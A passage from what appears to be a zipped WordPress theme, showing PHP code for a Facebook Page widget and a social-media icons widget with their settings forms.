                        js.src = "//connect.facebook.net/<?php echo esc_attr( $lang )?>/sdk.js#xfbml=1&version=v9.0";
                        fjs.parentNode.insertBefore(js, fjs);
                    }(document, 'script', 'facebook-jssdk'));</script>
                <div class="fb-page"
                     data-href="<?php echo esc_url( $page_url ); ?>"<?php if ( $stream && is_numeric( $height ) && $height > 69 ): ?> data-height="<?php echo absint( $height ); ?>"<?php endif; ?>
                     data-small-header="false" data-hide-cover="<?php if ( $cover ) {
					echo 'true';
				} else {
					echo 'false';
				} ?>" data-show-facepile="<?php if ( $faces ) {
					echo 'true';
				} else {
					echo 'false';
				} ?>" data-show-posts="<?php if ( $stream ) {
					echo 'true';
				} else {
					echo 'false';
				} ?>" data-adapt-container-width="true">
                    <div class="fb-xfbml-parse-ignore"><a
                                href="<?php echo esc_attr( $page_url ); ?>"><?php if ( $title ) {
								echo sanitize_text_field( $title );
							} else {
								echo 'Facebook';
							} ?></a></div>
                </div>
				<?php
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array( 'title'    => 'Follow Me',
			                   'cover'    => '',
			                   'language' => '',
			                   'faces'    => 'on',
			                   'page_url' => '',
			                   'height'   => '290',
			                   'stream'   => true
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'page_url' ) ); ?>"><?php esc_html_e( 'Facebook Page URL:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'page_url' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'page_url' ) ); ?>"
                       placeholder="EG. http://www.facebook.com/demo"
                       value="<?php echo esc_attr( $instance['page_url'] ); ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'height' ) ); ?>"><?php esc_html_e( 'Facebook Page Height:', 'soledad' ); ?></label>
                <small style="display: block; clear: both; padding-left: 0;"
                       class="description"><?php esc_html_e( 'This option is only applied when "Show Stream" option is checked', 'soledad' ); ?></small>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'height' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'height' ) ); ?>"
                       placeholder="min is 70. EG: 400" value="<?php echo absint( $instance['height'] ); ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cover' ) ); ?>"><?php esc_html_e( 'Hide Cover Photo?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'cover' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'cover' ) ); ?>" <?php checked( (bool) $instance['cover'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'faces' ) ); ?>"><?php esc_html_e( 'Show Faces:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'faces' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'faces' ) ); ?>" <?php checked( (bool) $instance['faces'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'stream' ) ); ?>"><?php esc_html_e( 'Show Stream:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'stream' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'stream' ) ); ?>" <?php checked( (bool) $instance['stream'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'language' ) ); ?>"><?php esc_html_e( 'Custom Language:', 'soledad' ); ?></label>
                <small style="display: block; clear: both; padding-left: 0;"
                       class="description"><?php _e( 'Fill the language code to use on Facebook Page Box here. By default, the language will follow the site language. See more <a href="https://developers.facebook.com/docs/internationalization/" target="_blank">here</a>', 'soledad' ); ?></small>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'language' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'language' ) ); ?>" placeholder="EG. de_DE"
                       value="<?php echo esc_attr( $instance['language'] ); ?>"/>
            </p>

			<?php
		}
	}
}

?>
PK     2w\m  m    widgets/social_widget.phpnu [        <?php
/**
 * Socials Widget
 * Get in touch with your clients
 *
 * @package WordPress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_social_load_widget' );

function penci_social_load_widget() {
	register_widget( 'penci_social_widget' );
}

if ( ! class_exists( 'penci_social_widget' ) ) {
	class penci_social_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_social_widget',
				'description' => esc_html__( 'A widget that displays your social icons', 'soledad' ),
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_social_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_social_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Social Media', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_social_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Social Media', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title         = isset( $instance['title'] ) ? $instance['title'] : '';
			$title         = apply_filters( 'widget_title', $title );
			$align         = isset( $instance['align'] ) ? $instance['align'] : '';
			$text          = isset( $instance['text'] ) ? $instance['text'] : '';
			$circle        = isset( $instance['circle'] ) ? $instance['circle'] : false;
			$border_radius = isset( $instance['border_radius'] ) ? $instance['border_radius'] : false;
			$brand_color   = isset( $instance['brand_color'] ) ? $instance['brand_color'] : false;
			$size_icon     = isset( $instance['size_icon'] ) ? $instance['size_icon'] : '14';
			$size_upper    = isset( $instance['size_upper'] ) ? $instance['size_upper'] : false;
			$size_text     = isset( $instance['size_text'] ) ? $instance['size_text'] : '13';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ( $after_title );
			}

			$style_icon     = 'style="font-size: ' . $size_icon . 'px"';
			$style_icon_svg = 'style="width: ' . $size_icon . 'px;height: ' . $size_icon . 'px"';
			$style_text     = 'style="font-size: ' . $size_text . 'px"';
			?>

            <div class="widget-social
			<?php
			if ( $align ) :
				echo ' ' . $align;
			endif;
			?>
			<?php
			if ( $text ) :
				echo ' show-text';
			endif;
			?>

			<?php
			if ( $circle ) :
				echo ' remove-circle';
			endif;
			?>

			<?php
			if ( $size_upper ) :
				echo ' remove-uppercase-text';
			endif;
			?>

			<?php
			if ( $border_radius ) :
				echo ' remove-border-radius';
			endif;
			?>
			<?php
			if ( $brand_color && ! $circle ) {
				echo ' penci-social-colored';
			} elseif ( $brand_color && $circle ) {
				echo ' penci-social-textcolored';
			}
			?>
			">
				<?php
				$social_data         = penci_social_media_array();
				$custom_social_icons = get_option( 'penci_custom_socials', array() );
				foreach ( $social_data as $name => $sdata ) {
					$showing = isset( $instance[ $name ] ) ? $instance[ $name ] : '';
					if ( $showing ) {
						$icon_html = penci_icon_by_ver( $sdata[1], $style_icon );
						$name      = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
						?>
                        <a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>"
                           aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?>
                           target="_blank"><?php echo $icon_html; ?>
                            <span <?php echo $style_text; ?>><?php echo ucwords( $name ); ?></span></a>
						<?php
					}
				}
				?>
            </div>

			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => 'Keep in touch',
				'text'           => false,
				'align'          => '',
				'circle'         => false,
				'border_radius'  => false,
				'brand_color'    => false,
				'size_icon'      => '14',
				'size_upper'     => false,
				'size_text'      => '13',
				'facebook'       => 'on',
				'twitter'        => 'on',
				'instagram'      => 'on',
				'linkedin'       => '',
				'behance'        => '',
				'flickr'         => '',
				'youtube'        => '',
				'tumblr'         => '',
				'pinterest'      => 'on',
				'email'          => '',
				'vk'             => '',
				'bloglovin'      => '',
				'vine'           => '',
				'soundcloud'     => '',
				'snapchat'       => '',
				'spotify'        => '',
				'github'         => '',
				'stack-overflow' => '',
				'twitch'         => '',
				'vimeo'          => '',
				'steam'          => '',
				'xing'           => '',
				'whatsapp'       => '',
				'telegram'       => '',
				'reddit'         => '',
				'ok'             => '',
				'500px'          => '',
				'wechat'         => '',
				'weibo'          => '',
				'stumbleupon'    => '',
				'line'           => '',
				'viber'          => '',
				'discord'        => '',
				'rss'            => '',
				'slack'          => '',
				'mixcloud'       => '',
				'goodreads'      => '',
				'tripadvisor'    => '',
				'tiktok'         => '',
				'dailymotion'    => '',
				'blogger'        => '',
				'delicious'      => '',
				'deviantart'     => '',
				'digg'           => '',
				'evernote'       => '',
				'forrst'         => '',
				'grooveshark'    => '',
				'lastfm'         => '',
				'myspace'        => '',
				'paypal'         => '',
				'skype'          => '',
				'window'         => '',
				'wordPress'      => '',
				'yahoo'          => '',
				'yandex'         => '',
				'douban'         => '',
				'threads'        => '',
				'yelp'           => '',
				'qq'             => '',
			);

			$socials = get_option( 'penci_custom_socials', array() );

			if ( ! empty( $socials ) ) {
				foreach ( $socials as $slug => $attr ) {
					$defaults[ $slug ] = '';
				}
			}

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Align -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>">Align This Widget:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'align' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='pc_aligncenter'
						<?php
						if ( '' == $instance['align'] ) {
							echo 'selected="selected"';
						}
						?>
                    >Align Center
                    </option>
                    <option value='pc_alignleft'
						<?php
						if ( 'pc_alignleft' == $instance['align'] ) {
							echo 'selected="selected"';
						}
						?>
                    >Align Left
                    </option>
                    <option value='pc_alignright'
						<?php
						if ( 'pc_alignright' == $instance['align'] ) {
							echo 'selected="selected"';
						}
						?>
                    >Align Right
                    </option>
                </select>
                <small><?php esc_html_e( 'This option only apply when you hide text on the right side of social icons.', 'soledad' ); ?></small>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'text' ) ); ?>"><?php esc_html_e( 'Display Social Text on Right Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'text' ) ); ?>" <?php checked( (bool) $instance['text'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'circle' ) ); ?>"><?php esc_html_e( 'Remove Border Around Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'circle' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'circle' ) ); ?>" <?php checked( (bool) $instance['circle'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'border_radius' ) ); ?>"><?php esc_html_e( 'Remove Border Radius on Border of Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'border_radius' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'border_radius' ) ); ?>" <?php checked( (bool) $instance['border_radius'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'brand_color' ) ); ?>"><?php esc_html_e( 'Use Brand Colors for Social Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'brand_color' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'brand_color' ) ); ?>" <?php checked( (bool) $instance['brand_color'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'size_icon' ) ); ?>"><?php esc_html_e( 'Custom Font Size for Icons:', 'soledad' ); ?></label>
                <input type="number" style="width: 50px;"
                       id="<?php echo esc_attr( $this->get_field_id( 'size_icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'size_icon' ) ); ?>"
                       value="<?php echo esc_attr( $instance['size_icon'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'size_upper' ) ); ?>"><?php esc_html_e( 'Disable Uppercase Text on Right Icons?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'size_upper' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'size_upper' ) ); ?>" <?php checked( (bool) $instance['size_upper'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'size_text' ) ); ?>"><?php esc_html_e( 'Custom Font Size for Text on Right Icons:', 'soledad' ); ?></label>
                <input type="number" style="width: 50px;"
                       id="<?php echo esc_attr( $this->get_field_id( 'size_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'size_text' ) ); ?>"
                       value="<?php echo esc_attr( $instance['size_text'] ); ?>" size="3"/>
            </p>

            <p class="description"
               style="padding: 0;"><?php _e( '<strong>Note:</strong> Setup your social URLs via <strong>Appearance > Customize > Social Media</strong>', 'soledad' ); ?></p>
            <style>.social-flex {
                    display: flex;
                    -ms-flex-wrap: wrap;
                    flex-wrap: wrap;
                }

                .social-flex > p {
                    flex: 0 0 50%;
                    display: block;
                    margin: 0.5em 0;
                }</style>
            <div class="social-flex">
				<?php
				$socials = get_option( 'penci_custom_socials', array() );

				if ( ! empty( $socials ) ) {
					foreach ( $socials as $slug => $attr ) {
						?>
                        <p>
                            <label for="<?php echo esc_attr( $this->get_field_id( $slug ) ); ?>"><?php esc_html_e( 'Show ' . $attr['name'] . ':', 'soledad' ); ?></label>
                            <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( $slug ) ); ?>"
                                   name="<?php echo esc_attr( $this->get_field_name( $slug ) ); ?>" <?php checked( (bool) $instance[ $slug ], true ); ?> />
                        </p>
						<?php
					}
				}
				?>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'facebook' ) ); ?>"><?php esc_html_e( 'Show Facebook:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'facebook' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'facebook' ) ); ?>" <?php checked( (bool) $instance['facebook'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'twitter' ) ); ?>"><?php esc_html_e( 'Show Twitter:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twitter' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'twitter' ) ); ?>" <?php checked( (bool) $instance['twitter'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'instagram' ) ); ?>"><?php esc_html_e( 'Show Instagram:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'instagram' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'instagram' ) ); ?>" <?php checked( (bool) $instance['instagram'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'pinterest' ) ); ?>"><?php esc_html_e( 'Show Pinterest:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'pinterest' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'pinterest' ) ); ?>" <?php checked( (bool) $instance['pinterest'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'linkedin' ) ); ?>"><?php esc_html_e( 'Show Likedin:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'linkedin' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'linkedin' ) ); ?>" <?php checked( (bool) $instance['linkedin'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'behance' ) ); ?>"><?php esc_html_e( 'Show Behance:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'behance' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'behance' ) ); ?>" <?php checked( (bool) $instance['behance'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'flickr' ) ); ?>"><?php esc_html_e( 'Show Flickr:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'flickr' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'flickr' ) ); ?>" <?php checked( (bool) $instance['flickr'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'tumblr' ) ); ?>"><?php esc_html_e( 'Show Tumblr:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'tumblr' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'tumblr' ) ); ?>" <?php checked( (bool) $instance['tumblr'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'youtube' ) ); ?>"><?php esc_html_e( 'Show Youtube:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'youtube' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'youtube' ) ); ?>" <?php checked( (bool) $instance['youtube'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'email' ) ); ?>"><?php esc_html_e( 'Show Email:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'email' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'email' ) ); ?>" <?php checked( (bool) $instance['email'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'vk' ) ); ?>"><?php esc_html_e( 'Show Vk:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'vk' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'vk' ) ); ?>" <?php checked( (bool) $instance['vk'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'bloglovin' ) ); ?>"><?php esc_html_e( 'Show Bloglovin:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'bloglovin' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'bloglovin' ) ); ?>" <?php checked( (bool) $instance['bloglovin'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'vine' ) ); ?>"><?php esc_html_e( 'Show Vine:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'vine' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'vine' ) ); ?>" <?php checked( (bool) $instance['vine'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'soundcloud' ) ); ?>"><?php esc_html_e( 'Show Soundcloud:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'soundcloud' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'soundcloud' ) ); ?>" <?php checked( (bool) $instance['soundcloud'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'snapchat' ) ); ?>"><?php esc_html_e( 'Show Snapchat:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'snapchat' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'snapchat' ) ); ?>" <?php checked( (bool) $instance['snapchat'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'spotify' ) ); ?>"><?php esc_html_e( 'Show Spotify:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'spotify' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'spotify' ) ); ?>" <?php checked( (bool) $instance['spotify'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'github' ) ); ?>"><?php esc_html_e( 'Show Github:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'github' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'github' ) ); ?>" <?php checked( (bool) $instance['github'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'stack-overflow' ) ); ?>"><?php esc_html_e( 'Show Stack Overflow:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'stack-overflow' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'stack-overflow' ) ); ?>" <?php checked( (bool) $instance['stack-overflow'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'twitch' ) ); ?>"><?php esc_html_e( 'Show Twitch:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twitch' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'twitch' ) ); ?>" <?php checked( (bool) $instance['twitch'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'vimeo' ) ); ?>"><?php esc_html_e( 'Show Vimeo:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'vimeo' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'vimeo' ) ); ?>" <?php checked( (bool) $instance['vimeo'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'steam' ) ); ?>"><?php esc_html_e( 'Show Steam:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'steam' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'steam' ) ); ?>" <?php checked( (bool) $instance['steam'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'xing' ) ); ?>"><?php esc_html_e( 'Show Xing:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'xing' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'xing' ) ); ?>" <?php checked( (bool) $instance['xing'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'whatsapp' ) ); ?>"><?php esc_html_e( 'Show Whatsapp:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'whatsapp' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'whatsapp' ) ); ?>" <?php checked( (bool) $instance['whatsapp'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'telegram' ) ); ?>"><?php esc_html_e( 'Show Telegram:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'telegram' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'telegram' ) ); ?>" <?php checked( (bool) $instance['telegram'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'reddit' ) ); ?>"><?php esc_html_e( 'Show Reddit:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'reddit' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'reddit' ) ); ?>" <?php checked( (bool) $instance['reddit'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'ok' ) ); ?>"><?php esc_html_e( 'Show Ok:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ok' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'ok' ) ); ?>" <?php checked( (bool) $instance['ok'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( '500px' ) ); ?>"><?php esc_html_e( 'Show 500px:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( '500px' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( '500px' ) ); ?>" <?php checked( (bool) $instance['500px'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'stumbleupon' ) ); ?>"><?php esc_html_e( 'Show StumbleUpon:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'stumbleupon' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'stumbleupon' ) ); ?>" <?php checked( (bool) $instance['stumbleupon'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'wechat' ) ); ?>"><?php esc_html_e( 'Show Wechat:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'wechat' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'wechat' ) ); ?>" <?php checked( (bool) $instance['wechat'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'weibo' ) ); ?>"><?php esc_html_e( 'Show Weibo:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'weibo' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'weibo' ) ); ?>" <?php checked( (bool) $instance['weibo'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'line' ) ); ?>"><?php esc_html_e( 'Show LINE:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'line' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'line' ) ); ?>" <?php checked( (bool) $instance['line'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'viber' ) ); ?>"><?php esc_html_e( 'Show Viber:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'viber' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'viber' ) ); ?>" <?php checked( (bool) $instance['viber'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'discord' ) ); ?>"><?php esc_html_e( 'Show Discord:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'discord' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'discord' ) ); ?>" <?php checked( (bool) $instance['discord'], true ); ?> />
                </p>

                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'rss' ) ); ?>"><?php esc_html_e( 'Show RSS:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'rss' ) ); ?>"
                           name="<?php echo esc_attr( $this->get_field_name( 'rss' ) ); ?>" <?php checked( (bool) $instance['rss'], true ); ?> />
                </p>
                <p>
                    <label for="<?php echo esc_attr( $this->get_field_id( 'slack' ) ); ?>"><?php esc_html_e( 'Show slack:', 'soledad' ); ?></label>
                    <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'slack' ) ); ?>"
